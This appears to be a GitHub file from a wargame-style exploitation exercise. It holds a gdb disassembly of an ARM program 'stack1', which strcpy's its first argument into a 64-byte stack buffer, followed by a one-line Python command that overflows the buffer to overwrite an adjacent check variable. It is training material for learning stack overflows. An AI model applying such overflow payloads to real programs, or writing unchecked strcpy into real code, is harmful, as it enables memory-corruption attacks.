Skip to content

Latest commit

 

History

History
48 lines (48 loc) · 2.03 KB

File metadata and controls

48 lines (48 loc) · 2.03 KB

Disassembled main:

Dump of assembler code for function main:
   0x00008480 <+0>:     push    {r11, lr}
   0x00008484 <+4>:     add     r11, sp, #4
   0x00008488 <+8>:     sub     sp, sp, #80     ; 0x50
   0x0000848c <+12>:    str     r0, [r11, #-80] ; 0x50
   0x00008490 <+16>:    str     r1, [r11, #-84] ; 0x54
   0x00008494 <+20>:    ldr     r3, [r11, #-80] ; 0x50
   0x00008498 <+24>:    cmp     r3, #1
   0x0000849c <+28>:    bne     0x84ac <main+44>
   0x000084a0 <+32>:    mov     r0, #1
   0x000084a4 <+36>:    ldr     r1, [pc, #96]   ; 0x850c <main+140>
   0x000084a8 <+40>:    bl      0x8344 <errx>
   0x000084ac <+44>:    mov     r3, #0
   0x000084b0 <+48>:    str     r3, [r11, #-8]
   0x000084b4 <+52>:    ldr     r3, [r11, #-84] ; 0x54
   0x000084b8 <+56>:    add     r3, r3, #4
   0x000084bc <+60>:    ldr     r3, [r3]
   0x000084c0 <+64>:    sub     r2, r11, #72    ; 0x48
   0x000084c4 <+68>:    mov     r0, r2
   0x000084c8 <+72>:    mov     r1, r3
   0x000084cc <+76>:    bl      0x8314 <strcpy>
   0x000084d0 <+80>:    ldr     r2, [r11, #-8]
   0x000084d4 <+84>:    ldr     r3, [pc, #52]   ; 0x8510 <main+144>
   0x000084d8 <+88>:    cmp     r2, r3
   0x000084dc <+92>:    bne     0x84ec <main+108>
   0x000084e0 <+96>:    ldr     r0, [pc, #44]   ; 0x8514 <main+148>
   0x000084e4 <+100>:   bl      0x8320 <puts>
   0x000084e8 <+104>:   b       0x84fc <main+124>
   0x000084ec <+108>:   ldr     r3, [r11, #-8]
   0x000084f0 <+112>:   ldr     r0, [pc, #32]   ; 0x8518 <main+152>
   0x000084f4 <+116>:   mov     r1, r3
   0x000084f8 <+120>:   bl      0x8308 <printf>
   0x000084fc <+124>:   mov     r3, #0
   0x00008500 <+128>:   mov     r0, r3
   0x00008504 <+132>:   sub     sp, r11, #4
   0x00008508 <+136>:   pop     {r11, pc}
   0x0000850c <+140>:   muleq   r0, r0, r5
   0x00008510 <+144>:   cmnvs   r2, r4, ror #6
   0x00008514 <+148>:                   ; <UNDEFINED> instruction: 0x000085b0
   0x00008518 <+152>:   andeq   r8, r0, r8, ror #11
End of assembler dump.

Exploit code:

 ./stack1 `python -c "print 'A'*64+'\x64\x63\x62\x61'"`